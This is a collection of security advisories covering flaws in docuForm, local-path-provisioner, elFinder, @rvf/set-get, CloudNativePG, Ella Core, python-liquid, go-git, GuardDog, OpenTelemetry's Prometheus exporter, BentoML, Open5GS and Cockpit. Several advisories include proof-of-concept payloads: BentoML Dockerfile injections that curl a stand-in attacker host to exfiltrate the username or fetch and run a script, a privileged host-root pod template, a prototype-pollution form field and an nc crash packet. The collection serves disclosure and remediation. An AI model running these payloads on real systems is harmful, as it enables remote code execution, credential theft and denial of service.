CVEs

A reflected cross-site scripted (XSS) vulnerability in the acc-menu_billings.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_departments.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_maintenance.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

A reflected cross-site scripted (XSS) vulnerability in the acc-menu_papers.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_coveragealerts.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

A reflected cross-site scripted (XSS) vulnerability in the dfm-menu_firmware.php component of GmbH Mecury Managed Print Services (docuForm) v11.11c allows attackers to execute arbitrary Javascript in the context of a user's browser via injecting a crafted payload into an unfiltered variable value.

### Impact A malicious user with permission to edit the `local-path-config` ConfigMap in the `local-path-storage` namespace can manipulate the `helperPod.yaml` template used by `rancher/local-path-provisioner`. The `helperPod.yaml` template is loaded by the provisioner and used to create HelperPods during PVC provisioning and cleanup operations. However, the template is not sufficiently validated before use. Security-sensitive fields such as `securityContext.privileged`, `hostPath` volumes, and Linux capabilities can be injected into the template. Example malicious HelperPod template: ~~~yaml apiVersion: v1 kind: Pod metadata: name: helper-pod spec: containers: - name: helper-pod image: docker.io/kindest/local-path-helper:v20230510-486859a6 imagePullPolicy: IfNotPresent securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory ~~~ When a PVC operation triggers HelperPod creation, the provisioner creates the HelperPod using the attacker-controlled template. This can result in a privileged pod running on the target node with the host root filesystem mounted. This may allow the attacker to access sensitive host files, read ServiceAccount tokens from other pods on the same node, access other tenants' local-path volume data, or modify files on the host node. Expected Behavior: - The HelperPod template should not allow privileged containers. - The HelperPod template should not allow arbitrary `hostPath` mounts. - Security-sensitive fields in `helperPod.yaml` should be validated or rejected before the provisioner creates HelperPods. ### Patches This vulnerability is addressed by validating the HelperPod template loaded from the `local-path-config` ConfigMap before it is used to create HelperPods. The fix ensures that unsafe fields such as privileged security contexts, hostPath volumes, and other dangerous pod security settings are rejected. This prevents an attacker with ConfigMap edit permission from injecting a malicious HelperPod template that grants access to the host node. Previously, a malicious user could modify `helperPod.yaml` to cause the provisioner to create a privileged HelperPod with the host root filesystem mounted, potentially leading to node-level compromise and ServiceAccount token theft. With this fix, HelperPod templates containing unsafe security-sensitive fields are denied, and only safe HelperPod configurations are accepted. Patched versions of local-path-provisioner include releases v0.0.34 and later. No patches are provided for earlier releases, as they do not include the necessary HelperPod template validation logic. ### Workarounds Users should upgrade to a patched version of local-path-provisioner to fully mitigate this vulnerability. As a temporary mitigation, users can restrict write access to the `local-path-config` ConfigMap in the `local-path-storage` namespace. Only trusted administrators should be allowed to update this ConfigMap. Users may also mark the ConfigMap as immutable after deployment: ~~~bash kubectl -n local-path-storage patch configmap local-path-config \ --type merge -p '{"immutable": true}' ~~~ Additionally, enabling Kubernetes Pod Security Admission for the `local-path-storage` namespace can provide defense in depth. For example, enforcing the `baseline` policy can prevent privileged HelperPods from being created even if the template is modified: ~~~bash kubectl label namespace local-path-storage \ pod-security.kubernetes.io/enforce=baseline \ pod-security.kubernetes.io/warn=restricted ~~~ These mitigations reduce the risk of exploitation, but upgrading to a patched release is required to fully address the issue. ### References If you have any questions or comments about this advisory: - Contact the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries. - Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.

## Summary An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (`elFinderVolumeMySQL`) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted `target` file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service. This vulnerability only affects installations configured to use the `MySQL` volume driver. Installations using the default `LocalFileSystem` driver are not affected. ## Description A vulnerability in elFinder's MySQL volume driver (`elFinderVolumeMySQL`) allows authenticated SQL injection through a crafted file hash passed via the `target` parameter. The issue is caused by two behaviors working together: 1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier. 2. The decoded value is then used in MySQL driver queries, including `cacheDir()`, `_joinPath()`, `_stat()`, and `_fopen()`. Because the MySQL storage schema uses numeric `id` and `parent_id` values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account. This vulnerability only affects installations configured to use the `MySQL` volume driver. Installations using the default `LocalFileSystem` driver are not affected. ## Impact An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to: - disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata - trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption The severity of data exposure depends on the privileges granted to the configured MySQL account.

## Summary `setPath` in `@rvf/set-get` (used by `@rvf/core` to flatten incoming form data into a nested object) does not block the keys `__proto__`, `constructor`, or `prototype` when walking a path. Because field names in submitted form data are passed directly to `setPath` via `preprocessFormData` (and through `parseFormData` / `validate`), an attacker who can submit a form to a Remix / React Router app using the library can set arbitrary properties on `Object.prototype` of the running server process. This is a default-reachable prototype pollution primitive: no special configuration is required. Any endpoint that accepts a form via `parseFormData` or runs a validator created with `createValidator` is affected. ## Affected versions - `@rvf/set-get` `< 7.0.2` (7.x line) - `@rvf/set-get` `< 6.0.4` (6.x line) Reached through `@rvf/core` versions that depend on a vulnerable `@rvf/set-get` (current `8.1.0` resolves to `7.0.1` without the override). ## Patched - `@rvf/set-get` `7.0.2` - `@rvf/set-get` `6.0.4` The fix adds a `REJECT_KEYS` blocklist (`__proto__`, `constructor`, `prototype`) and throws when one is encountered while walking a path inside `setPath`. ## Proof of concept Install a vulnerable resolution and run on Node 18+: ```json { "dependencies": { "@rvf/core": "8.1.0" }, "overrides": { "@rvf/set-get": "7.0.1" } } ``` ```js const { preprocessFormData } = require('@rvf/core'); const form = new FormData(); form.append("username", "alice"); form.append("__proto__[polluted]", "yes"); preprocessFormData(form); console.log(({}).polluted); // -> 'yes' ``` The field name `__proto__[polluted]` is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits `polluted = 'yes'`. A second working payload is `constructor.prototype.<key>=<value>`, which goes through `setPath` walking `constructor` then `prototype`. ## Impact - Any property assignable on `Object.prototype` of the server process, set by a single unauthenticated HTTP request. - Persists for the life of the worker process and affects every subsequent request handled by the same process. - Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing `if (obj.isAdmin)` style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS). - Worth noting: the visible output of `preprocessFormData` does not contain the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies. ## CVSS `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` (8.2, High) Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app. ## Remediation for users Upgrade to `@rvf/set-get` `7.0.2` or `6.0.4`. If you cannot upgrade `@rvf/core` directly, an `npm` / `pnpm` override on `@rvf/set-get` works. ## Credit Reported by Mohamed Bassia (@0xBassia).

### Impact The CloudNativePG metrics exporter opens its PostgreSQL connection as the `postgres` superuser via the pod-local Unix socket, then demotes the session with `SET ROLE pg_monitor`. `SET ROLE` changes only `current_user`; `session_user` remains `postgres`. That residual superuser identity is the foothold for the rest of the chain. Any SQL expression evaluated inside the scrape session can invoke `RESET ROLE` to recover real superuser privileges, then use `COPY ... TO PROGRAM` to spawn an OS-level subprocess as the `postgres` user inside the primary pod. The `READ ONLY` transaction flag does not block this; it gates writes to database state, not external processes. Two exploitation paths follow from this root cause. #### Path 1: custom metric queries with unqualified identifiers (all supported releases) A database user who owns a schema on the `search_path` of any scraped database can plant a shadow object whose name matches an unqualified identifier in a custom metric query. When the exporter next evaluates that query, the shadow expression executes inside the `session_user = postgres` scrape session, giving the attacker PostgreSQL superuser privileges and OS command execution inside the primary pod within one scrape interval (≤30 s). Exploitability requires a custom metric query that contains an unqualified relation or function reference. Although `search_path` shadowing of unqualified identifiers is the most direct case, the underlying bug is that any expression evaluated inside the scrape session is a superuser code path. Other exploitable shapes include user-defined functions, operators or casts resolved during the scrape, joins or subqueries against user-owned tables and views, and index expressions or RLS policies on read-touched objects. #### Path 2: stock `default-monitoring.yaml` (all supported releases, no custom metrics required) The `pg_extensions` metric shipped in `default-monitoring.yaml` used an unqualified `current_database()` call and ran against every user database (`target_databases: '*'`). Any non-superuser who owns a user database (including the default `app` role created by `bootstrap.initdb`) could shadow `current_database()` and trigger the full escalation chain against a stock CNPG deployment on the first scrape after the shadow was planted. #### Combined impact The chain yields privilege escalation from a low-privileged database role (e.g. the default `app` role) to PostgreSQL superuser, plus arbitrary OS command execution as the `postgres` user inside the primary pod, all within one scrape interval. A web application SQL injection vulnerability in an app backed by a CNPG cluster is therefore sufficient to pivot to database-pod RCE. #### Who is impacted - All deployments on any supported release with default monitoring enabled are affected by Path 2. - All deployments on any supported release that use custom metric queries containing unqualified catalog references are affected by Path 1. - Multi-tenant platforms that allow customers to supply or influence custom metric query bodies are at the highest risk for Path 1. ### Patches Three separate patches address the vulnerability. #### Patch 1: PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" Schema-qualifies all unqualified `pg_catalog` function and view references in the shipped `default-monitoring.yaml` and in documentation examples. This closes Path 2 in operator-shipped configuration and removes the unqualified-identifier attack surface from all operator-shipped metric queries. Operators who clone or copy `default-monitoring.yaml` into custom monitoring `ConfigMap`s, or have copy-pasted unqualified queries elsewhere, must re-qualify those queries themselves. Backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) #### Patch 2: "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" Introduces a dedicated `cnpg_metrics_exporter` PostgreSQL role (granted `pg_monitor`, no superuser privileges) and maps it in `pg_ident.conf` via peer authentication on the local Unix socket, following the same pattern already used for `cnpg_pooler_pgbouncer`. The metrics exporter connects as this role instead of `postgres`, so `session_user` is never a superuser and `RESET ROLE` has no escalation effect. This eliminates the root cause entirely. Demoting the session at the SQL level (via `SET SESSION AUTHORIZATION pg_monitor`) is not sufficient: the privilege check for `SET SESSION AUTHORIZATION` is whether the *authenticated* user is a superuser, not the current `session_user`. With the connection still authenticated as `postgres`, any SQL in the session can run `RESET SESSION AUTHORIZATION` and recover the original superuser identity. This is the same recovery primitive as `RESET ROLE`, one layer up. Only changing the authenticated user closes the loop. With this change in place, the original chain breaks at every step: `RESET ROLE` and `RESET SESSION AUTHORIZATION` cannot recover superuser, and `COPY ... TO PROGRAM` requires a privilege `pg_monitor` does not grant. As defense in depth, the monitoring transaction also prepends `pg_catalog` to the connection's `search_path`, so unqualified catalog identifiers cannot resolve to user-planted shadow objects. This patch changes the connection identity but not how queries are evaluated. Custom metric queries within `pg_monitor`'s scope (catalog reads, `pg_stat_*` views, settings) continue to work without modification. Queries that previously relied on superuser-level access (reading user-owned tables not granted to `cnpg_metrics_exporter`, or superuser-only catalogs such as `pg_authid` or `pg_subscription`) will fail and need explicit `GRANT` statements to `cnpg_metrics_exporter`. The role is created and maintained with `PASSWORD NULL`; any password set out-of-band is cleared on the next reconcile, so the role cannot be authenticated by password regardless of operator pre-creation. For replica clusters, upgrade the source primary cluster before any replica clusters that consume from it. The `cnpg_metrics_exporter` role is created on the source primary and replicates downstream; a replica cluster upgraded first will scrape against a missing role until the source primary upgrades or the role is created manually (see the monitoring documentation). The patch will be backported to all currently supported releases: - **v1.29.x** (x ≥ 1) - **v1.28.x** (x ≥ 3) ### Workarounds If upgrading immediately is not possible: 1. **Schema-qualify all identifiers in custom metric queries.** Use explicit `pg_catalog.` prefixes for all catalog functions and views (e.g. `pg_catalog.current_database()`, `pg_catalog.now()`). This is a partial mitigation: it closes the `search_path`-shadowing shape in operator- and user-supplied metric bodies, but other expression shapes (user-defined functions, operators or casts; joins or subqueries on user-owned tables and views; RLS policies on read-touched objects) remain superuser code paths until Patch 2 lands. 2. **Restrict database ownership.** Ensure only fully trusted roles own user databases in scraped clusters. The exploit requires the ability to plant an object on the metrics exporter's `search_path` in a scraped database, typically by owning the database (and therefore `public` via `pg_database_owner`) or by holding `CREATE` on a schema already reachable through `search_path`. *PG <15 caveat:* `public` grants `CREATE` to `PUBLIC` by default before PostgreSQL 15, so any authenticated role in a scraped database can plant a shadow object regardless of ownership. 3. **Limit the scope of `target_databases: '*'` queries.** Avoid `target_databases: '*'` unless every database in the cluster, and every role that owns one, is fully trusted. Where possible, restrict `target_databases` to specific, known-safe databases. 4. **Do not expose metric query SQL to untrusted users.** Multi-tenant platforms that allow customers to supply or influence custom metric query bodies should treat this as a critical trust boundary until the architectural fix is released. ### References - Fix (Patch 1): PR #10576 "schema-qualify catalog references in default monitoring queries and documentation samples" - Fix (Patch 2): "dedicated `cnpg_metrics_exporter` role with `pg_ident.conf` peer mapping" - Reported by: Mehmet Ince

## Summary Ella Core didn't enforce security rules on concurrent running of security procedures defined in TS 33.501 §6.9.5.1 — it could send a NAS Security Mode Command while an N2 handover was still pending (and vice versa). ## Impact Concurrent Security Mode Command and N2 handover produce a KgNB mismatch between the UE and target gNB, causing the handover to fail. Requires a stalled gNB + re-registration race to trigger. ## Fix Ella Core now enforces both rules from §6.9.5.1, blocking concurrent Security Mode Command and N2 handover procedures.

## Summary Ella Core does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values. A malicious gNB can overwrite Ella Core's stored UE security capabilities for any UE with arbitrary values by sending a single crafted PathSwitchRequest. ## Impact A gNB can corrupt Ella Core's stored UE security capabilities for a target UE. ## Fix The PathSwitchRequest handler now compares the received UE Security Capabilities against Ella Core's locally stored values, preserves the stored values on mismatch, returns them in the PathSwitchRequestAcknowledge, and logs the event.

## Summary A radio with a valid NG Setup can send a forged PDUSessionResourceSetupResponse carrying any UE's AMF-UE-NGAP-ID. Ella Core does not verify the message arrived on the SCTP association bound to that UE's logical NG-connection, then creates a GTP tunnel towards that radio. ## Impact Downlink user-plane traffic for the targeted UE is redirected to the attacker's radio. ## Fix UE context lookups are now scoped to the sending radio's SCTP association.

### Impact The built-in `FileSystemLoader` and `CachingFileSystemLoader` do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the `{% include %}` and `{% render %}` tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. ### Patches The issue is fixed in version 2.2.0 with the inclusion of a `template_path.is_absolute()` condition in `liquid/builtin/loaders/file_system_loader.py`. ```python if os.path.pardir in template_path.parts or template_path.is_absolute(): raise TemplateNotFoundError(template_name) ``` ### Workarounds Create a custom template loader by inheriting from `FileSystemLoader` and overriding `resolve_path()`. Use an instance of the custom loader as the `loader` argument when instantiating your Liquid environment. ```python import os from pathlib import Path from liquid import Environment from liquid import FileSystemLoader from liquid.exceptions import TemplateNotFoundError class MyFileSystemLoader(FileSystemLoader): def resolve_path(self, template_name: str) -> Path: template_path = Path(template_name) if self.ext and not template_path.suffix: template_path = template_path.with_suffix(self.ext) if os.path.pardir in template_path.parts or template_path.is_absolute(): raise TemplateNotFoundError(template_name) for path in self.search_path: source_path = path.joinpath(template_path) if not source_path.exists(): continue return source_path raise TemplateNotFoundError(template_name) env = Environment(loader=MyFileSystemLoader("path/to/templates/")) ```

### Impact `go-git` may parse malformed Git objects in a way that differs from upstream Git. When `commit` or `tag` objects contain ambiguous or malformed headers, `go-git`’s decoded representation may expose values differently from how Git itself would interpret or reject the same object. Additionally, `go-git`’s commit signing and verification logic operates over commit data reconstructed from `go-git`’s parsed representation rather than the original raw object bytes. As a result, `go-git` may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository. This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed. ### Patches Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported `go-git` version. ### Credit Thanks to @bugbunny-research (https://bugbunny.ai/) for reporting this to `sigstore/gitsign`, and to @wlynch, @patzielinski and @adityasaky for coordinating the disclosure with the `go-git` project. :bow: :1st_place_medal: Thanks to @wayphinder for reporting this to the `go-git` project. :bow:

# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

# Summary GuardDog includes attacker-controlled filenames, file locations, messages, and code snippets in its default human-readable output without escaping terminal control characters. A malicious package can therefore inject ANSI or OSC escape sequences into analyst terminals or CI logs. # Description The finding formatter stores file paths and snippets from scanned content: ```python location = file_path + ":" + str(start_line) finding = { "location": location, "code": code, "message": result["extra"]["message"], } ``` The human-readable reporter later prints these values directly: ```python " * " + finding["message"] + " at " + finding["location"] + "\n " + _format_code_line_for_output(finding["code"]) ``` No escaping is applied for control characters such as `\x1b`. A malicious package can therefore ship a filename like: ```text evil\x1b[2J.py ``` or matched source lines containing terminal escapes, which survive into the final CLI output. # Reproduction summary 1. Create a file whose name contains `\x1b[2J`. 2. Feed a semgrep-style result referencing that file into `Analyzer._format_semgrep_response()`. 3. Render the result with `HumanReadableReporter.print_scan_results()`. 4. The output string contains the raw escape bytes, which a terminal may interpret. # Key code paths - `guarddog/analyzer/analyzer.py:377-392` - `guarddog/reporters/human_readable.py:36-42` - `guarddog/reporters/human_readable.py:84-91` # Practical impact This can be used to: - clear or rewrite analyst terminal output - inject misleading or spoofed log content in CI - emit clickable OSC 8 hyperlinks or title changes in compatible terminals # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Escape or strip terminal control characters before rendering any attacker-controlled value in human-readable output. This should cover package names, file paths, messages, and code snippets.

## Summary A single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default `0.0.0.0:9464`) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught `TypeError` that terminates the process. **You are affected by this vulnerability if either of the following apply to your application:** * you directly use `@opentelemetry/exporter-prometheus` in your code through its built-in server. * your `OTEL_METRICS_EXPORTER` environment variable includes `prometheus` **AND** * you use `@opentelemetry/sdk-node` * you use `@opentelemetry/auto-instrumentations-node` via `--require @opentelemetry/auto-instrumentations-node/register`/`--import @opentelemetry/auto-instrumentations-node/register` ## Impact **Denial of service.** Any application using the OpenTelemetry Prometheus exporter’s built-in server can be crashed by a single unauthenticated network packet sent to the metrics port. No authentication, special privileges, or prior access is required. ## Remediation ### Update to the fixed version Update `@opentelemetry/exporter-prometheus` and `@opentelemetry/sdk-node` to version **0.217.0** or later. Update `@opentelemetry/auto-instrumentations-node` to version **0.75.0** or later. This release adds proper error handling around the URL constructor, returning an HTTP `400` response on parse failure rather than allowing the exception to propagate and crash the process. ``` npm install @opentelemetry/exporter-prometheus@latest ``` ### Do Not Expose the Endpoint to Untrusted Users > [!IMPORTANT] > The following mitigations reduce exposure but do not fully remediate the vulnerability. Any client that *can* reach the metrics endpoint - including your own Prometheus scraper host if compromised - could still trigger the crash. Updating to **0.217.0** is the recommended resolution. If updating is not immediately feasible, restrict access to the metrics endpoint so that it is not reachable by untrusted or unauthenticated network clients. For example: * **Bind to localhost only** by setting the `host` option to `127.0.0.1` when configuring the `PrometheusExporter`, so the port is not exposed on public or shared network interfaces * **Use a firewall or network policy** to restrict access to port `9464` (or whichever port you have configured) to only trusted Prometheus scrape hosts * **Place the endpoint behind a reverse proxy** that filters or validates incoming requests before they reach the exporter ## Details In `PrometheusExporter.ts`, the `_requestHandler` calls `new URL(request.url, this._baseUrl)` without any error handling. Node's HTTP parser accepts absolute-form URIs (e.g. `http://`) for proxy compatibility, including malformed ones. When `request.url` is `"http://"`, the `URL` constructor throws `TypeError: Invalid URL`. Since there is no try-catch in the handler, the exception propagates as an uncaught exception and crashes the process. The Prometheus metrics endpoint is unauthenticated by design (Prometheus scrapes it) and binds to `0.0.0.0` by default, meaning it is reachable by any network client that can connect to the metrics port. ## Proof of Concept Start any Node.js application with the Prometheus exporter running on the default port `9464`, then send a single raw TCP packet: ``` echo -ne 'GET http:// HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 9464 ``` The process crashes immediately with: ``` TypeError: Invalid URL at new URL (...) at PrometheusExporter._requestHandler (...) ```

# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043 A malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`: ```jinja {% for env in __bento_envs__ %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %} ``` `env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services). ## Sibling relationship to existing CVEs The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field: - **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`. - **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`). Both patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope. ## Reproduction ```bash pip install bentoml==1.4.38 python verify_render.py ``` Expected: ``` [*] rendered Dockerfile size: 1789 bytes [*] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami) ``` Each injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username. ## Threat model 1. Attacker authors a malicious bento with a crafted `bentofile.yaml`. 2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content. 4. Victim runs `bentoml containerize` to build the container image. 5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines. 6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment. The flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`. ## Suggested fix In `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there): ```jinja ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }} ``` Better, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$")` to the `name` field so newline / shell-metacharacter values are rejected at config load. ## Affected versions - bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings. ## Disclosure Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request. ## PoC artifacts Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html

A security flaw has been discovered in Open5GS up to 2.7.7. This issue affects the function smf_nsmf_handle_update_data_in_vsmf of the file /src/smf/nsmf-handler.c of the component SMF. The manipulation results in denial of service. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

A vulnerability was identified in Open5GS up to 2.7.7. This vulnerability affects the function smf_nsmf_handle_update_data_in_vsmf of the file /src/smf/nsmf-handler.c of the component SMF. The manipulation of the argument qosFlowProfile leads to denial of service. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.

A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.

